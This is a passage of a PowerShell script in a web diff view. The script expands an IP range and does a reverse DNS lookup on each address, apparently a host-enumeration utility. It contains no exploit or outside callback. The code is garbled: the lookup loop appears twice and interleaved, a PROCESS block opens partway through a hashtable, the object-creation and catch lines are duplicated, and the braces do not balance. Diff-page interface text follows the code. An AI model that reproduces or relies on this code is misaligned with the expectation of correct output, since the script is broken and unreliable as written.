$Right = (IPtoInt $Temp2.ToString())
if ($Right -gt $Left) {
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
}
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
break
}
"single"
{
if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString }
else { Write-Warning "Invalid IP address supplied!"; return }
break
}
default
{
Write-Warning "An error occurred."
return
}
}
}
}
}
Parse-IPList $IpRange | ForEach-Object {
try {
$Temp = [System.Net.Dns]::GetHostEntry($_)
$Result = @{
IP = $_
HostName = $Temp.HostName
PROCESS {
Parse-IPList $IpRange | ForEach-Object {
try {
Write-Verbose "Resolving $_"
$Temp = [System.Net.Dns]::GetHostEntry($_)
$Result = @{
IP = $_
HostName = $Temp.HostName
}
New-Object PSObject -Property $Result
}
New-Object PSObject -Property $Result
} catch [System.Net.Sockets.SocketException] {}
catch [System.Net.Sockets.SocketException] {
Write-Verbose "Error: $_"
}
}
}
}
+20914
View File
File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More